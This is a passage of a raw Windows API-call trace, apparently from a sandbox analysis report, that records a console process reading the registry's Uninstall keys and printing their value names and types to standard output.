lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.218] GetConsoleOutputCP () returned 0x1b5 [0151.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.218] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.218] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.218] __iob_func () returned 0x7fefd702a80 [0151.218] _fileno (_File=0x7fefd702ab0) returned 1 [0151.218] _errno () returned 0x204bb0 [0151.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.218] _errno () returned 0x204bb0 [0151.218] GetFileType (hFile=0x50) returned 0x1 [0151.218] lstrlenW (lpString=" ") returned 4 [0151.218] GetConsoleOutputCP () returned 0x1b5 [0151.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.219] GetConsoleOutputCP () returned 0x1b5 [0151.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.219] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.219] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.219] __iob_func () returned 0x7fefd702a80 [0151.219] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.219] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0151.219] _fileno (_File=0x7fefd702ab0) returned 1 [0151.219] _errno () returned 0x204bb0 [0151.219] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.219] _errno () returned 0x204bb0 [0151.219] GetFileType (hFile=0x50) returned 0x1 [0151.219] lstrlenW (lpString="0x1") returned 3 [0151.219] GetConsoleOutputCP () returned 0x1b5 [0151.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.219] GetConsoleOutputCP () returned 0x1b5 [0151.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0151.219] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.219] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.219] __iob_func () returned 0x7fefd702a80 [0151.219] _fileno (_File=0x7fefd702ab0) returned 1 [0151.220] _errno () returned 0x204bb0 [0151.220] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.220] _errno () returned 0x204bb0 [0151.220] GetFileType (hFile=0x50) returned 0x1 [0151.220] lstrlenW (lpString="\n") returned 1 [0151.220] GetConsoleOutputCP () returned 0x1b5 [0151.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.220] GetConsoleOutputCP () returned 0x1b5 [0151.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.220] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.220] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.220] GetProcessHeap () returned 0x3c0000 [0151.220] GetProcessHeap () returned 0x3c0000 [0151.220] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.220] GetProcessHeap () returned 0x3c0000 [0151.220] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.220] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.220] __iob_func () returned 0x7fefd702a80 [0151.220] _fileno (_File=0x7fefd702ab0) returned 1 [0151.220] _errno () returned 0x204bb0 [0151.220] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.220] _errno () returned 0x204bb0 [0151.220] GetFileType (hFile=0x50) returned 0x1 [0151.220] lstrlenW (lpString="\n") returned 1 [0151.220] GetConsoleOutputCP () returned 0x1b5 [0151.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.221] GetConsoleOutputCP () returned 0x1b5 [0151.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.221] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.221] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2a [0151.221] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0151.221] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.221] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 121 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.221] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.221] GetProcessHeap () returned 0x3c0000 [0151.221] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0151.221] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.221] RegCloseKey (hKey=0x5c) returned 0x0 [0151.221] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x2e, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.221] __iob_func () returned 0x7fefd702a80 [0151.221] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.221] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}\n") returned 122 [0151.222] _fileno (_File=0x7fefd702ab0) returned 1 [0151.222] _errno () returned 0x204bb0 [0151.222] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.222] _errno () returned 0x204bb0 [0151.222] GetFileType (hFile=0x50) returned 0x1 [0151.222] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}\n") returned 122 [0151.222] GetConsoleOutputCP () returned 0x1b5 [0151.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0151.222] GetConsoleOutputCP () returned 0x1b5 [0151.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}\n", lpUsedDefaultChar=0x0) returned 122 [0151.222] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0151.222] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.222] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0151.222] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.222] GetProcessHeap () returned 0x3c0000 [0151.222] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0151.222] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.222] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.222] GetProcessHeap () returned 0x3c0000 [0151.222] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.222] GetProcessHeap () returned 0x3c0000 [0151.222] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.222] GetProcessHeap () returned 0x3c0000 [0151.222] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.222] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.223] __iob_func () returned 0x7fefd702a80 [0151.223] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.223] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.223] _fileno (_File=0x7fefd702ab0) returned 1 [0151.223] _errno () returned 0x204bb0 [0151.223] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.223] _errno () returned 0x204bb0 [0151.223] GetFileType (hFile=0x50) returned 0x1 [0151.223] lstrlenW (lpString=" ") returned 4 [0151.223] GetConsoleOutputCP () returned 0x1b5 [0151.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.223] GetConsoleOutputCP () returned 0x1b5 [0151.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.223] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.223] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.223] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0151.223] __iob_func () returned 0x7fefd702a80 [0151.223] _fileno (_File=0x7fefd702ab0) returned 1 [0151.223] _errno () returned 0x204bb0 [0151.223] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.223] _errno () returned 0x204bb0 [0151.223] GetFileType (hFile=0x50) returned 0x1 [0151.223] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0151.223] GetConsoleOutputCP () returned 0x1b5 [0151.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0151.223] GetConsoleOutputCP () returned 0x1b5 [0151.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0151.224] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0151.224] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.224] __iob_func () returned 0x7fefd702a80 [0151.224] _fileno (_File=0x7fefd702ab0) returned 1 [0151.224] _errno () returned 0x204bb0 [0151.224] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.224] _errno () returned 0x204bb0 [0151.224] GetFileType (hFile=0x50) returned 0x1 [0151.224] lstrlenW (lpString=" ") returned 4 [0151.224] GetConsoleOutputCP () returned 0x1b5 [0151.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.224] GetConsoleOutputCP () returned 0x1b5 [0151.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.224] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.224] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.224] __iob_func () returned 0x7fefd702a80 [0151.224] _fileno (_File=0x7fefd702ab0) returned 1 [0151.224] _errno () returned 0x204bb0 [0151.224] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.224] _errno () returned 0x204bb0 [0151.224] GetFileType (hFile=0x50) returned 0x1 [0151.224] lstrlenW (lpString="REG_SZ") returned 6 [0151.224] GetConsoleOutputCP () returned 0x1b5 [0151.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.225] GetConsoleOutputCP () returned 0x1b5 [0151.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.225] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.225] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.225] __iob_func () returned 0x7fefd702a80 [0151.225] _fileno (_File=0x7fefd702ab0) returned 1 [0151.225] _errno () returned 0x204bb0 [0151.225] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.225] _errno () returned 0x204bb0 [0151.225] GetFileType (hFile=0x50) returned 0x1 [0151.225] lstrlenW (lpString=" ") returned 4 [0151.225] GetConsoleOutputCP () returned 0x1b5 [0151.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.225] GetConsoleOutputCP () returned 0x1b5 [0151.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.225] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.225] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.225] __iob_func () returned 0x7fefd702a80 [0151.225] _fileno (_File=0x7fefd702ab0) returned 1 [0151.225] _errno () returned 0x204bb0 [0151.226] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.226] _errno () returned 0x204bb0 [0151.226] GetFileType (hFile=0x50) returned 0x1 [0151.226] lstrlenW (lpString="") returned 0 [0151.226] __iob_func () returned 0x7fefd702a80 [0151.226] _fileno (_File=0x7fefd702ab0) returned 1 [0151.226] _errno () returned 0x204bb0 [0151.226] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.226] _errno () returned 0x204bb0 [0151.226] GetFileType (hFile=0x50) returned 0x1 [0151.226] lstrlenW (lpString="\n") returned 1 [0151.226] GetConsoleOutputCP () returned 0x1b5 [0151.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.226] GetConsoleOutputCP () returned 0x1b5 [0151.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.226] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.226] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.226] GetProcessHeap () returned 0x3c0000 [0151.226] GetProcessHeap () returned 0x3c0000 [0151.226] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.226] GetProcessHeap () returned 0x3c0000 [0151.226] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.226] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.226] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.226] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x9c) returned 0x0 [0151.226] GetProcessHeap () returned 0x3c0000 [0151.227] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x9e) returned 0x3e1c70 [0151.227] GetProcessHeap () returned 0x3c0000 [0151.227] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.227] GetProcessHeap () returned 0x3c0000 [0151.227] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0151.227] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0x9c | out: pdwType=0x29f700*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x29f780*=0x9a) returned 0x0 [0151.227] __iob_func () returned 0x7fefd702a80 [0151.227] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.227] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.227] _fileno (_File=0x7fefd702ab0) returned 1 [0151.227] _errno () returned 0x204bb0 [0151.227] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.227] _errno () returned 0x204bb0 [0151.227] GetFileType (hFile=0x50) returned 0x1 [0151.227] lstrlenW (lpString=" ") returned 4 [0151.227] GetConsoleOutputCP () returned 0x1b5 [0151.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.227] GetConsoleOutputCP () returned 0x1b5 [0151.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.227] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.227] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.227] lstrlenW (lpString="Comments") returned 8 [0151.227] __iob_func () returned 0x7fefd702a80 [0151.227] _fileno (_File=0x7fefd702ab0) returned 1 [0151.227] _errno () returned 0x204bb0 [0151.227] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.227] _errno () returned 0x204bb0 [0151.227] GetFileType (hFile=0x50) returned 0x1 [0151.227] lstrlenW (lpString="Comments") returned 8 [0151.228] GetConsoleOutputCP () returned 0x1b5 [0151.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.228] GetConsoleOutputCP () returned 0x1b5 [0151.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0151.228] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0151.228] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.228] __iob_func () returned 0x7fefd702a80 [0151.228] _fileno (_File=0x7fefd702ab0) returned 1 [0151.228] _errno () returned 0x204bb0 [0151.228] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.228] _errno () returned 0x204bb0 [0151.228] GetFileType (hFile=0x50) returned 0x1 [0151.228] lstrlenW (lpString=" ") returned 4 [0151.228] GetConsoleOutputCP () returned 0x1b5 [0151.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.228] GetConsoleOutputCP () returned 0x1b5 [0151.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.228] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.228] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.228] __iob_func () returned 0x7fefd702a80 [0151.228] _fileno (_File=0x7fefd702ab0) returned 1 [0151.229] _errno () returned 0x204bb0 [0151.229] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.229] _errno () returned 0x204bb0 [0151.229] GetFileType (hFile=0x50) returned 0x1 [0151.229] lstrlenW (lpString="REG_SZ") returned 6 [0151.229] GetConsoleOutputCP () returned 0x1b5 [0151.229] WideCharToMultiByte (in: CodePage=0x1b5, 